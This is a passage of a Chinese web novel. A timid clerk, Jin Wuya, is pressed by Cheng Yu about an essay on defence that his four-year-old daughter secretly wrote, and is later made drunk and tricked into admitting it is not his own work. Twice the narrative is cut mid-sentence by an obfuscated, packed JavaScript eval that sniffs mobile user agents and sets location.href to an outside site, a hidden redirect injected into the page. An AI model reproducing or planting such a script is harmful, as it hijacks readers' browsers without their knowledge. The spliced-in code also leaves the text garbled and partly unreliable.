他连忙低下头,站姿笔挺,头颅微垂,眼睛看着地面,双手自然地垂直身侧,这姿势没人比他更端正,更会站了。 多少次,他能苟活,这标准的站姿绝对立了大功!他总结过,在这些满肚子阴谋诡计的上位者面前,这姿势绝对管用,表现出三分臣服,三分懂事,三分乖巧,另外一分懦弱无能,绝对人畜无害,让上峰既生不起防备之心,也没有捏死的兴趣,还觉得心里满足。 程昱一盏茶喝完了,这厮还维持着这么个姿势,他嘴角抽了抽。 但没喊他坐下也没说话更没开口切入主题问话。 他提笔开始处理公文,他倒想知道这厮能维持多久。 开始金无涯只是感觉自己的腿微酸,但还能坚持,过一盏茶,又过一盏茶…… 金无涯:“……” 他的双腿在轻轻颤抖,抖的弧度越来越大…… 这该死的程老贼!!! 实在顶不住,金无涯抖着腿一屁股坐地板上了。 这时他倒是破罐子破摔似的,舒服地轻叹一声。 他刚才干啥呢,跟这老贼较啥劲儿,他不给他坐,他不会自己坐地板上吗? 金无涯真想说,这会儿要是能来壶茶更好,可惜那狗眼看人低的大厅杂役仆从,连茶都没给他准备,只给程昱端了。 上头传来冷哼一声。 程昱本想将写着那篇防御论的竹简摔在金铁锤面前,但又舍不得扔,怕摔坏了,于是换成茶杯摔在他跟前。 砰! 金无涯下意识闭了闭眼睛,用手挡住了脸,手背随即被飞来的碎片割伤,一阵刺痛后血流下来。他痛得龇牙咧嘴,这老贼玩真的啊! 一点情面不留,刚才他要是没挡住,受伤的可就是他的脸他的眼睛了! “金铁锤,我再问你,这篇文章是何人所作,是你请人代笔捉刀,还是偷抄他人文章来糊弄我?” 程昱心里思忖,能写出这样文章的人恐怕不会替人代笔捉刀,后者的可能性较高,只是金铁锤哪来这么大能耐抄来这样的文章? 或者说他如何能认识这等人物?而对方又待他友善到愿意让他抄写自己的文章? 金无涯满脸真诚地看着程昱:“程公,真是我自己写的,我哪敢糊弄您呢!” “你当真嘴硬到底,不愿老实交代?” 金无涯半点不加思索,狂点脑袋,“真是我写的程公!” 他捂着自己受伤流血的手背,满眼泪汪汪,“我快失血过多死去了,人之将死其言也善啊,程公!” 程昱:“……” 接下来,无论程昱如何问话,金无涯始终是那句话,半个字没改过,这副死猪不怕开水烫的样子,气得程昱恨不得将这厮押入大牢,严刑拷打! 只可惜,金无涯是主公帐下的人,就算毫无建树作为,地位卑微,在没有证据情况下,他也不能随意处置。 当然他若是强行处置,主公大抵也不会为了这货责备他,只是程昱这人讲原则,不喜随意行事。 何况他想起了文若(荀彧)的话。 “仲德,你生性刚毅正直,处事果决,然过刚易折,有时若直驱而入,达不到想要的目的,那便试着软一软,刚中带软,软则坚韧,反而易成。你瞧这水中花,种在土里不能活,放在水中这无根之地却生得这样美,可见天生万物,都因之物性而不同,这点放在人身上也应因人而异。” 他便按捺下了这股汹涌的火气。 金无涯这个人和一般人不太相同,他贪生怕死,胆小懦弱,看似好像普通平常,实则这阵子程昱看出这人狡诈善变,虽是草包,却极是灵活善于求生,身上并无一般读书人的清高架子。 这样的人,像是浑身没有软肋似的,只要不立时要了他的命,他便像一只滑不溜秋的泥鳅一样,让人无从着落。 程昱思忖许久,终是让金无涯退了出去。 他并非顾忌金无涯,而是顾忌那写文章之人或许与金无涯有非比寻常的友善关系。 在他离去前,程昱还是警告道:“金铁锤,若是你想通了,随时来找我坦白,我可以免除你作弊之过,只要你将真正写这篇文章之人交代清楚,我非但不罚你,反而赏你。” 金无涯面上恭敬应下,蹑手蹑脚退下去了。 程昱所说的,他压根没放心上,且不说他是真的不知道这篇文章到底是谁写的,自己也好奇想知道呢,就说程老贼的话能信吗? 必定前脚坦白了,后脚就找个由头把他踢了。因为他没有用处了,若是没有这篇文章,金无涯几乎敢肯定,这次考核自己铁定过不去。 眼下还有这事儿吊着程昱,别说这个月,就是下个月,哪怕他继续毫无建树,考核吊车尾,只要程昱还想知道,就会留着他,至少在程昱还有耐心之前,他都是安全的。至于之后如何,那便是之后的事情了,他金无涯只苟当下。 倒是今天的问话,没想到这么容易通过,只是手背受了点小伤,没被程老贼如何为难,比想象中的轻松多了。金无涯心情甚好,背着小手走出大门,甚至还吹了口哨,哼着歌儿。 书房里的程昱隐约听到外头传来轻巧的口哨声,还有不知道从哪儿哼来的小调歌谣,愉快活泼,轻浮狂放。 “小草儿,随风摇,莫惊怕,高歌呀!大树儿,茁壮长,狂风来,莫屈啊……” “……” 手里的笔杆子瞬间折成两半。 总有一天,他要把这厮当着主公的面,不,当着文若的面,大、卸、八、块! 一路走出大厅院门,金无涯脚步一转,干脆出府衙去了,没回小厅继续上班,他大着狗胆干了这两年以来唯一一次翘班! 反正白从事也不会知道他何时从程昱这边走的,而程昱也不会再找他了,至少今天不会。 以前没找到这种机会,总是战战兢兢如履薄冰,生怕出点差错,今日何妨任性翘一次吧! 就算被抓到了,在这当口上,应当不会有事,这得多亏了那篇文章啊,要是让他知道是谁写的,他铁定买三只大烧鸡,好好谢谢人家! 金无涯揣着手回家,路上还买了只烧鸡,今天侥幸过关,该回家和老妻孩子庆祝。城里专卖烧鸡的那家老店,手艺老好了,也不知什么调料秘方烤制的,香得让人恨不得把鸡骨头都吞进去,孩子们吃了定也会高兴! 到了家,他捧着烧鸡,兴冲冲推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128574|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开门,见老妻正在做家务活儿,把他早先攒的一些半干不净的衣物被子通通都拿出来洗洗晒晒,大儿子不见踪影,二儿子正躺着晒太阳,小闺女也不知哪儿去了。 金无涯问道:“大壮和小阿藐呢?” “你咋这个点就回家了?这不是午饭点都没到?” 金大娘想到先前他曾说得罪上峰的事,顿时想到不好的方向,“该不是让你上峰撵回来了,丢了差事?” 金无涯连忙摇头,看着老妻手上那根捶打被子的大棍子放下,方才松口气,“今天上峰大人高兴,让我回家歇一天。” “那便好,不要再惹什么幺蛾子!看你这个当爹的不靠谱,大壮今早上就出去外面转悠了,说想找找看有没有可以做的事。大壮是个勤快的乖孩子,就是闲不住。” “小阿藐呢?” “藐儿随她大兄一道出去了,说是想转转,四处瞅瞅,这出去个把多时辰了,还没回呢。” “对了。”金无涯想到孩子们户籍的事情,赶忙说道:“趁着有时间,等两个孩子回来,我下午带你们一道去衙门办下户口,以免……” “以免以后你丢了差事,我们娘儿几个要被撵出鄄城无家可归是吧!” 金无涯:“……小二还在呢,纯儿!” 怼归怼,金大娘也知道这事儿要紧。这会儿是没出城也没什么用到户口的事情,往后住长了,还是得有实实在在的身份凭证比较方便,何况金无涯说了,现在天下大乱,鄄城也是临时组建的官府,户口好上,等往后就不一定了,要是变成流民就麻烦。 金无涯跟着往院子的长椅上一躺,跟二儿子一块晒太阳,被老妻捏着耳朵起来,帮她拧被子晒被子,好一顿忙活,累得气喘吁吁。 他真诚地建议:“纯儿,为夫是读书人,素来手无缚鸡之力,咱二壮都比我有力气,往后有这样的活儿,你喊他。” 金二壮没比他爹勤快哪去:“您瞅我这细胳膊细腿儿,我从小就没爹疼,没好东西吃,瘦不拉几的,哪有您能耐。” 一说到没爹疼,金无涯顿时闭嘴了。 到了中午饭点,金大娘刚摆好饭菜,金大壮就揣着金藐回来了。 吃着饭,金无涯想起那份文章的事,开口问道:“前天早上,谁往咱家饭桌上放了一份竹简?” 几个人都摇头,金藐埋头啃烧鸡腿儿,小嘴油汪汪的。 金无涯看向小闺女,“小阿藐,你有瞧见吗?” 随即想起那日早上,他走时闺女尚未起床,自己便笑道,“是阿爹记错了,那日小阿藐赖床了,怎么能看见。小阿藐今天感觉怎么样,有让你阿娘烧了姜汤给你喝吗?” 金藐摇摇头。 金无涯以为她是说她没瞧见的意思,却不知金藐是说她没喝姜汤,也没着凉,让他别操心的意思。 金藐反而感兴趣问了个别的问题:“阿爹今日为何这么早归家?” “上峰心情好,放了假……”没等说完,小幼童便点出来:“阿爹翘班了。” 金无涯:“……小阿藐怎么看出来的?” “阿爹神色有几分干了坏事的愉悦,也有一分隐约的忧虑,应是干了坏事偷乐,却也担忧被发现处罚。阿娘说阿爹素来胆小,所以阿爹也没有胆子干大的坏事,只有翘班算得上出格些。” “何况官府做事向来点是点卯是卯,今日既非节日,也无特殊,你也未有立功,为何提早放你归家。” 金无涯看着小闺女清亮平静的眼睛,“……小阿藐当真聪慧……”就是不当着全家的面揭穿他就更好了。 金藐喝完最后一口汤,擦擦嘴巴和手,从椅子上跳了下来,但又不愿意走路,于是扯扯大兄的衣裳,金大壮便将她抱到一旁那个专为她垫过垫子的大椅子上。 金无涯看向老妻。 果然老妻脸色已经黑成锅底了……小闺女聪慧是聪慧,就是不爱阿爹啊,专爱坑爹。 挨过老妻一顿捶后,金无涯叹着气坐到闺女旁边。 “其实……这两年来,阿爹自入了曹公帐下便没有一日不如履薄冰战战兢兢,生怕有一丝差错。” 金二壮剔牙,帮他爹补充:“怕被撵走。” “……二壮你闭嘴,好好听阿爹说话。” “古往今来,凡工作上如履薄冰者,无外乎两个缘由,一是德不配位,自身才能配不上他的工作,因此担心会失去,其二就是上位者喜怒无常,令下属无法安心做事。阿爹你是哪种?” 金无涯:“……小阿藐,你也静静听阿爹说……” “但是今天阿爹高兴,不知道是哪位高人,前天早上在咱家桌上放了一份竹简,那份竹简上的内容正好是阿爹考核的内容。要知道这次考核题目很难,程公故意为难我等,所以我怎么都写不出来,阿爹这差事本来就已经岌岌可危,若是考核文章再不过关,恐怕就要保不住,所以阿爹……” 说着他把揣在袖子里的竹简拿出来,“就是这篇文章,这可是我的救命恩人,回头得叫你阿娘拿去供香。” 金大壮好奇过来看了看,瞧上一眼便笑着说:“阿爹没搞错?这是妹妹的笔迹。” 15.扎根 金无涯猛地看向静静坐在宽大椅子上的小闺女,小小的幼童板着一张可爱漂亮的小脸蛋,目光沉静,她的二兄正调皮地抓着她的小脚踝使坏捏她,被她一脚踹在脸上,气得哇哇叫。 他的小闺女如今才四岁,虽说是聪慧异常些,比平常孩童看起来更有灵气些,更怪癖些……但她怎么看都是一个稚嫩幼小的孩童啊。 与他所猜想的那个写文章之人,那种沉稳老辣甚至凶戾狂妄,完全没有任何搭边的地方啊!!! 金二壮捂着脸凑过来看了一眼,哈哈大笑起来:“阿兄,这小病秧子的字还是这么丑!” 金大壮拍弟弟脑袋,“藐儿今年才四岁,手小无力,能写成这样已经很好,更何况她这个年纪的孩童,能启蒙识字者寥寥,更不必提藐儿还能写。” “倒是你,这个年纪的时候,为兄想想你在干啥,似是天天尿床,学鸡叫学狗刨,成天泥地里打滚,莫说写字,连笔是个什么都不知……” “行行行!别说了大兄!” 金无涯看着几个孩子在讨论小闺女的字,互相揭短,一派欢笑,无一人关注到真正至关重要的问题,这篇文章的内容!这份竹简上的文章是足以震惊世人,连程昱这样的老贼都为之心动的兵家大作啊! 而这样一篇文章却是才四岁的小闺女的笔迹! 他深吸了口气,才能平复心情,金无涯深觉得自己这个当爹的跟不上娃娃们的节奏。他大儿子二儿子没仔细看文章内容也就算了,为何连小闺女也无动于衷? 他连忙把竹简拍到小闺女面前,希冀地看着她:“小阿藐,你告诉阿爹,这份文章是你写的吗?” 金藐终于舍得把视线施舍给她爹,看着阿爹问:“你拿了这份文章交差,你上峰如何说?可有后患?” 金无涯连连点头,又有一丝不好意思,毕竟是在自己的儿女面前承认自己抄了别人的文章,这可不是一个好阿爹榜样。 “程公见了这篇文章大为喜欢,却不信是我写的,阿爹当然知晓以阿爹水平想让程公信服不可能,他能坐上那个位置,又不是傻子。只是阿爹为了通过考核,保下差事,也不得不为之。程公很想知道这文章背后之人,今日便来找我一直反复质询,可惜阿爹自己也不知道是谁写的,只好不承认。至于后患……短时间应当没事……” 金藐便点点头,“既然如此,谁写的,重要吗?” 金无涯:“……”重要!重要!当然重要啊啊啊! 可惜小闺女打了个哈欠,便让她阿兄抱着她回屋睡午觉去了。 金无涯:“……”他闺女是真的一点都不在意这么重要这么厉害的事情啊。 等大儿子出来,金无涯只好去问大儿子,叫大儿子仔细看看那份文章。 “依你看,这是小阿藐自己写的吗?” 哪怕笔迹是自家闺女的,金无涯还是不太敢相信这份文章内容是出自小闺女的手。毕竟他的孩子也才四岁,这么小的年纪,用大儿子的话来说,能启蒙识字就已经远胜大部分同龄孩子。若能写得字,再作一点简单的文章,便可称之为神童! 而这篇文章通篇沉稳老辣,底蕴之深厚气魄之雄伟,绝非一般人!不说那些普通的才学之士,就算是当世有些名望的士人也难说有此见识,就算有这样的底蕴学识,然而其中独有的气魄风格却常人难以企及。 他先前甚至猜测是什么了不得的老谋深算的大能写的,还犹豫过,不敢随意交上去,怕触犯他老人家。 却没想到,感情这是他自己的小闺女写的! 金无涯随即又忽然想起了那晚,他被老妻一番话弄得满腔愧疚愁绪万分,不知道如何是好,便独自一人走出来院子吹风。 他那小小一只的闺女,站在他身后,喊了他一声阿爹。 问他因何而忧。 他告诉她,因为上峰要求写的考核文章,他半点没有头绪,不知道如何是好,小闺女问他若是写不好会如何,他说可能会丢了差事。 随后小闺女便回房睡觉了,他以为小闺女只是随口问问,却没想到,她很有可能回屋就没睡觉,而是熬夜给他写文章了! 所以第二天饭桌上才能出现这份竹简。 也难怪那日早上小阿藐赖床没起来吃早饭! 明明这么明显的巧合,他却压根没往小闺女身上想,只因为她还太年幼,他根本没想过这篇文章会出自小闺女之手。 这怎么能让人相信呢?! 就算哪怕这会儿,他都还不太敢相信! “大壮!你觉得这份文章会是小阿藐自己写的吗?”他摇晃着大儿子的手臂。 金大壮手里还捧着那份竹简,他还没看完呢,只看了一半,然而就算是这一半,他也没看懂。 青年感叹道:“这篇文章以我现在所学,恐怕还不太看得懂。至少得多看几本兵书,细细琢磨数月乃至一年半载,否则难以领会其中道理奥妙。” “阿爹,我虽不清楚这是不是妹妹写的,但小藐儿是我一手带大的,她有多聪慧没有人比我更清楚。她总能做出许多出乎人意料的事情,现在仔细想想,我们从家乡一路到这里,每次遇到危险,都是妹妹不经意间的几句提点,我们才能够平安渡过。” “一次或许巧合,二三次也可说幸运,然而一路以来都如此,我想就不是巧合也不是运气了。小藐儿在用她自己的方式守护我们,所以我们才能够一家四口都整齐平安地到达鄄城找到您。” “这一路来,也遇见很多同我们一样逃难寻亲的,他们很多在半路就因为各种各样的意外没了,而我们一家四口整整齐齐,虽然狼狈了些,却没有缺谁少谁,也没有缺胳膊少腿儿。” “甚至于我有时遇见危险,遇见拿不定主意的事情,都会下意识找小藐儿。她和一般孩子不同,总能给人一种特殊的安定感。” 金无涯之前只听过老妻和儿子说过小阿藐很聪慧,他也知道小阿藐比一般孩童聪慧,却从未听说过这些事情,也不知道小阿藐何止仅仅是聪慧…… 金大壮说道:“若以常理来看,四岁孩童写不出来这样水平的文章,但若放在小藐儿身上,却觉得或许不无可能。” “小藐儿她本就与寻常孩童不同。” 金无涯正想说些什么的时候,却见儿子忽然话音一转,郑重地看着他:“阿爹,不管是不是小藐儿写的,她终究还是太小……” 太幼小便意味着她尚且需要年长者庇佑,护着开开心心平平安安地长大,而不是过早地暴露出天分才华,承担起不属于她的责任。 金无涯从儿子的眼神中,体会出他未尽之言。 这个大儿子当真是神奇,分明只是兄长,却真真把幼小的妹妹当成自己女儿疼了。 若不是真正的疼爱,不会在第一时间就考虑出这点。 “而且小藐儿素来不在意这些事情。” 金大壮已经习惯了妹妹觉得不重要的事情,那一定是不重要,至少在她看来,真相与否并不影响自己的生活,那便无需去较真。 金无涯也只能随了儿女的意,听大儿子的话,尊重小闺女的意愿,反正他还没打算向程昱坦白,等实在兜不住了那就再说。 他不免叹了声,拍拍大儿子的肩膀,觉得他想得甚是周到,而且对幼小妹妹的关心实在细致入微。“这些年,这个家,还有你弟弟妹妹多亏你这个当兄长的了,是阿爹愧对你。” 同父亲相貌有七八分相似,这份俊美中却多出正直气质的青年说道:“长兄如父,阿爹不在,兄长自然要承担起兄长的责任。我幼时得阿爹关爱和教导,二壮和小藐儿却从未有过半分,我总觉得自己得得多,他们得得少,因此总觉得亏欠,想尽可能弥补他们。” 他笑了笑,眼神里沐浴着温柔的光:“何况小藐儿着实可爱,旁人不理解她的可爱之处,只以为她怪癖,不似寻常孩童乖巧。实则接触久了,才能知道小藐儿其实是过于聪慧通透,她的种种怪异之举,不过是一般俗人无法理解罢了。” “你若能了解她,便知道她可爱体贴得不像话,是天底下最可爱的孩子。” “有时我们什么话都没说,她便已经知道了我们有什么心事,遇见什么难题,这份察言观色的本事,着实厉害得紧!” 金无涯默默流泪,这个他是相信的,今日他才开 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“昨日我等都手抄了一份回家看,我昨晚可是足足看了五六遍方才入眠!” 一时间,金无涯身边就围上好几个人,也不知道他们是在大门口蹲守他呢,还是真的有这么巧,一块来上班,恰巧在大门口撞上了。 金无涯开始还能应付,后面就只能像小闺女一样木着一张脸了,他总算明白为何小闺女总是一张小脸面无表情,实在是不想多余应付啊。 他顿时又悟了,原来在聪慧的小闺女眼里,对他们露出多余表情是一种费劲的应付。 聪明人原来是这德性。 等好不容易进了小厅,走到自己工位的案桌前坐下,金无涯才松口气深呼吸一口气,本来也不得清净,好在这时候,白从事进来了。 这人就是有一身让人消音的本事。 只见白从事背着手走到金无涯这边,昂起下巴居高临下地问:“金无涯,听说你昨日半晌就从程公那里离开了,这半日你又去了哪里?为何没有回来上班?” 金无涯:!!! 他着实没想到这货还刻意蹲他,刻意注意到他何时从程昱那边离开的…… “你出来下。” 金无涯跟着白从事出去,想着这老货有什么阴谋诡计,却听这货说道:“我听说你与程公关系不浅?如今又作出这样的文章。我有一事,你若能帮我办了,我便不计较你早退之过。” “何事?” “我儿白行之,因小错被抓进大牢,本非大事,你去找程公,将他放出来。” 金无涯顿时明白了,这货是毛阶的人,程昱和毛阶自来不太合得来,这货不敢亲自去求,只得从他这里入手。 程老贼正愁不知道怎么给他挖坑呢,他现在送上门去岂不是自寻死路?金无涯才不想趟这个浑水,何况姓白的小子还是因为造谣羞辱他的妻小才会被士兵抓起来。 他便是再没节操,也不至于应下这老货。 为了显示自己的气节,金无涯想起程昱平常冷笑的样子,还模仿了下,重重冷哼一声,“区区黄口小儿,出门在外不修口德,被抓起来也好,让他好生在牢里反省,以后重新做人!” 白从事被气得在风中手指颤抖,他恨不得把这废物打一顿,不过是傍上了程昱这棵大树,就如此嚣张,张扬跋扈,等毛公立了功随主公从徐州战场回来,看程昱还能不能保得住他! 还有那篇文章,也绝不可能是这个草包废物写的!等他抓到把柄,就算程昱也不能包庇他! 这个月的考核结果出来,不知道是不是金无涯的那篇文章搅局,在程魔头的手下竟然没有一个人被开除,大伙儿都侥幸留存。 小厅的众人得出一致结论,程公定是心神都在那篇文章上面,懒得同他们这些小鱼小虾计较了,于是便都逃过一劫。 当日傍晚下值,这些人便以庆祝的名义把金无涯拉出去吃喝一顿,感谢他那篇文章带来的生机。 金无涯喝得醉醺醺回去,家中灯火都关了,他正摸着黑要进去,忽然被一只孔武有力的大手拉住了。 16.暴露 兵家之要,两军对垒,攻其弱处。 程昱这几日闲时都在琢磨一个问题,如何才能让金无涯开口,老老实实地交代出文章背后的大手。 文若说,对付一个人,不能全然按照强硬那套,应当按照那人的性情和情况区别对待,兵家说,要打下敌人的堡垒,必定要从薄弱处下手。 那金无涯此人的弱点是什么?他的要害软肋是什么? 金无涯虽是自己安排进来的,但这两年以来,程昱和他几乎没怎么打交道,他平常都把他当空气,只有一个浅浅的印象,草包。 这些日子的交集比过去两年都还要多! 要论了解,程昱真没法敢说自己了解金无涯,于是他又找来别人问话,谈谈金无涯这个人。 所有人对他的评价,几乎都是唯唯诺诺,一无是处,不似个读书人。 过往两年几乎如同隐形人,就算近些日子在他视线里稍微活跃下,那也跟什么体面形象毫无关系。 这样的人他会在乎什么呢? 阿大说:“寻常人都在意自己的家人,想必金大人也是如此,眼下正好他的家眷来鄄城投奔他,有什么事,不妨拿捏住他的家人问话。” 程昱当即给否了。他当然知道这不失为直中要害的点子,他看金无涯这人再不靠谱无赖,也挺在意他那一家子家眷的,只是这样做,未免有违情理道义。 金无涯尚且不是敌人,而是同主公帐下的同僚。 对自己同僚使出这种手段,别说主公不容,就算他自己的原则也决不允许。 “不牵涉家眷,只金无涯本人而言。” 阿大想了想,其实他对金无涯这个人也不太熟,只是这阵子关于他的风声挺多的,加上从老爷这边听到的,那日晚上在程府门口撞见的…… 他思忖道:“其实老爷,您难道没觉得他似乎挺害怕老爷您的。” 程昱:“……”他可不觉得金铁锤那厮怕他,恐怕全是装的! 不过这倒提醒了他,不管是不是真怕他,那金无涯为何怕他呢? 恐怕不是怕他本人,而是怕他手上的权利和处事风格。 试想下,若此时坐镇城中的是文若,他恐怕不会急于作弊来应付考核。 只有他,所有人都知道他有意清理替主公情理帐下无能之辈,所以金无涯才会宁愿冒着被他抓包识破的风险,也要抄他人文章,免得在考核中被淘汰出去。 金无涯出身贫寒,并无背景家底托身,其人除了读过书识字,并无其他特长赖以生存,何况在这样的乱世里,如今又有一家子家眷要养。 主公帐下虽然不是什么大富大贵的工作,却胜在体面稳定安全,收入也勉强能养活几口人。若是丢了这份差事,对金无涯的影响可想而知,他根本生存不下去。 想到这里,程昱忽然有几分头痛。 于是金无涯在醉酒的这个晚上,被程昱的下属阿大给“请”到了程府,程昱的书房。 为何不白日召见,而是大晚上把人找来?当然是喝醉酒才好问话! 论身板武力,一个人能打好几个壮汉的阿大为了把这家伙请过来,可谓是废了老大的劲儿。 首先他从金无涯和同僚去喝酒的时候,就跑去他家小巷蹲守了,这一路过来这厮又耍酒疯,大喊大叫,喊人来救他,说他被挟持了。 不知道有没有扰民,情急之下,阿大只能往他嘴巴里塞了一块布,一路抗过来。 布刚从嘴里拿下,金无涯就吐了书房一地。 他看着阿大和程昱。 “你谁!我告诉你们,我主公可是曹操!我上峰可是程老贼!你敢拿我,看我明日怎么找程老贼收拾你!” 程昱:“……” “去煮碗醒酒汤给这厮。”程昱咬着牙说道。 他捏了捏太阳穴,他或许该果断些,使点手段又何妨,他又不是什么正人君子,都怪文若整日在他耳边念叨,害他做事也畏手畏脚了。 “你是白从事对不对?我告诉你,你那狗屁儿子被抓了活该!我才不会帮你跟程老贼求情!” “程老贼谁啊!那可是我大哥!是我靠山!他可凶着呢!他的手段是你不能想的,劝你最好别惹我!” 程昱恨不得现在就去把这厮嘴巴堵上,幸好这会儿书房里没有其他人,不然他的脸又要给他丢尽了。 但就在这时,阿大推门进来,手里端着醒酒汤,汤碗在可疑地抖动,一整碗汤几乎抖成半碗,可以想见这货也不知道在外头听了多久。 阿大把金无涯扶到椅子上坐下,把那半碗醒酒汤给他灌下去,看他转了转眼睛,似乎有些醒神了。 程昱走到他身前,问道:“金铁锤,你可认出我是谁?” 金无涯一张脸醉得红通通,迷迷糊糊看了一眼,“程老贼?……不不不,应是主公?不不不,定是荀公……” “荀公啊!您总算回来了!您都不知道,您不在的时候,程老贼是怎么对待我们的!他狠啊!……” 程昱:“……” 阿大看着自家老爷脸上青筋乱跳的样子,生怕这厮醉酒的时候,把他家老爷给气死了,连忙说道:“属下看金大人醉得太过,不如把他送回去,改天再问?” 程昱改捏捏胀痛的眉心。他是真没想到,写文章的人没问出来,金无涯已经给爆出了不少小料。 什么程老贼,什么白从事威胁他要他帮他求情捞儿子,还有原来这厮还打算等文若回来的时候,跑文若面前告他状! 是不是这回,若是考核没过,被他逐出去,这厮回头就去找文若击鼓鸣冤,要他做主? 仔细想想,以这厮的性情,恐怕不是干不出来…… 他深深地、深深地呼吸几口气。 他怕自己一不小心,控制不住,当场把金无涯给砍了。这些日子,怎么一见这厮,他就感觉自己要少活好几年。 兴许是醒酒汤终于起了效果,金无涯唠唠完好像清醒些许了,至少能认出来眼前人,既不是曹公也不是荀公,而是程公程老贼…… 他倒是不记得之前说过的话了,震惊地问:“程大人你怎么在我家?!” 阿大提醒:“金大人,您瞅瞅您现在在哪儿呢?” 金无涯左看看右看看,终于恍然大悟,“哦……原来是在程大人府上,那快送我回去!不是……我怎么来的?这么晚了还不回去我那老妻定不绕我,她会掐死我的!” 程昱道:“吾问你,你所交的那篇文章防御论是出自何人之手?” 金铁锤懵了一瞬,好久才反应过来对面人在问什么,生存本能令他在第一时间就给出了自己早已预设好的答案:“当然是我写的了!程公可还满意?唉,定是满意的,连我这样的草包见了那文章也惊为天人……” 可惜醉酒之人,往往是多说多错,前头还听着还清醒,后面这句话,就已然暴露了这篇文章非金无涯亲书的事实。 “若是你自己写的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“本来其实我也犹豫要不要交呢,因为我大可自己写一份,谁知道一来您把我叫出去罚扫院子茅厕,以至于我没有时间写文章,二来等我回来周兴丛那厮已经不经我的同意,擅自帮我把抄下来的这份文章交了上去!” “这事儿真的不赖我啊!程公您得明察!这绝不是出自我本意,我也是被坑了啊!” 金无涯说的这些不难查,而且也似乎颇有道理。 那日他确实被罚扫,确实没有时间写文章,更确实没法在申时前赶回去交文章,到底是何人帮他把文章交上来的只要问问便能清楚。 但恐怕金无涯本人也未必不想交,或许是顺水推舟,后边干脆死鸭子嘴硬了。 程昱在金无涯彻底的崩溃下,寥寥数言已经将事实真相拼凑个八九不离十。 但这些都不重要,何人作妖不重要,金无涯作弊不重要,他的任何行为都不重要,由始至终,对于程昱来说,他真正想要的不过是找出文章背后之人。 若不是在这个特殊时候,他不至于只因一篇文章,便如此…… 他倏然起身走至窗前,月色下大树的枝叶依稀可见其枝繁叶茂,生机勃勃。 春的绿叶已勃发,他却闻见了秋的肃杀。那缕春风能否在这重重杀机中吹来几许生机? 17.反求 金无涯彻底酒醒了,夜半鄄城街道的冷风中,他在阿大的护送下,脚步踉跄,满心荒凉地回了家。 一整晚都睡不着,翻来覆去,把老妻气得差点把他踹下床。第二天一大早,顶着一双乌黑的眼睛在老妻和儿女面前坐下。 面前盛好了刚做好的热乎乎的汤粥、切好的咸菜、和烙好的青葱饼子,他毫无胃口,眼神没有焦距,坐立不安。 感觉人都傻了。 金大娘不满道:“昨晚那么晚回来一身酒臭味儿,这也罢了,还翻来翻去一整晚没个消停!闹得我睡不好就算了,今天早上怎么就跟丢了三魂没了七魄,金铁锤你到底是要怎么样?!” 金无涯还是直愣愣地看着前方。 前方正对面正好坐着他的小闺女,他的小闺女正拿着小汤匙,一小口一小口地慢慢喝着粥,表情平静而满足。 他忽然红了眼睛,“小阿藐……” 金藐抬头看他。 见闺女看过来,他反而不知道说什么,说啥啊,正如大儿子所说,无论那份文章是不是小阿藐写的,无论她有没有这份才华本事。 但她毕竟才四岁,她毕竟是家里最小的孩子…… 于是金无涯又摇摇头。 吃完饭,金无涯出门去府衙,金大壮隐约察觉不对,阿爹今天早上太奇怪了。以前他一早起来,看见小藐儿都会把她抱起来转一圈,哪怕小阿藐面无表情他也乐此不疲。然后会揉揉二壮的脑袋,再拍拍他的肩膀,最后吃饭的时候也常常喜欢说些不着调的玩笑话。 今天早上整个人却完全不对劲儿了。 他连忙追出去。 “是不是那篇文章的事儿?” 面对已经成年,长得高大健壮英俊的大儿子,金无涯还是说了实话:“昨晚程公趁我醉酒,派人把我绑了去……” 金大壮赶紧看看他爹,以为程大人对他上了大刑严刑拷打了。 金无涯:“……阿爹没事,只是阿爹醉酒,说了些胡话,被那程老贼套了话去。” 金大壮大惊,“您如实告诉他这篇文章是出自妹妹之手了吗?” 金无涯摇头,“没有,阿爹只承认这篇文章不是我写的,至于是谁写的,阿爹也不知道。” “我就说是去府衙路上捡的。” 金大壮没想到他爹会找这么简单的理由…… “程公信了?” 金无涯露出比哭还难看的笑,显得一晚上没睡着的俊美面容憔悴不堪。“这个问题已经不重要了,因为他给阿爹出了个难题。” “出啥难题?” 金大壮其实知道阿爹自身能力水平一般,这纵然与阿爹自身头脑性情能力有关系,然而也跟家底深厚有关。他们家出自乡下农家,本来有些藏书能让阿爹读书识字,已经很不容易,哪能让阿爹真正如何读到高深的地步。 所以他知道,如果上峰刻意为难,那能难倒阿爹的难题可海了去。 “他给阿爹出了个攻防实战之题,说假设现在有人攻打兖州,该当如何。” “说若是答得好,他便不计较了,若答不好,叫阿爹后果自负。” 程昱的原话是:“那我便姑且相信你,只是金铁锤,你在主公帐下也有两年,如今在其他人眼里,你好不容易有亮眼表现,也得拿出实际作为来,才能让大家信服。因此我可以不追究此事了,不过你得做好我给你出的一道题,若是让我满意了,今后你便无忧。” “若是答不好……” —— “啥后果自负啊,定然是要阿爹自己收拾包袱从府衙滚蛋呗!就算等主公回来,阿爹去告状恐怕也无用,因为他给阿爹定了个抄袭之罪,此乃品行问题,主公哪会容忍。” “阿爹能力是不行,这两年也没给主公做出什么贡献,但人品可不能出问题,若是连人品都不可靠了,那无论去哪里也待不得了。” 金无涯现在有些后悔,当时虽然文章是周兴丛擅自帮他交上去的,可若是他能够坚定些,及时去找程昱把文章要回来,承认那不是自己所作,哪怕因此考核不通过被驱逐了,至少等荀公回来,他还能理直气壮扮扮可怜,争取挽回。 如今把柄被程昱捏住了,他只能按照程昱的方向走,否则只有死路一条。 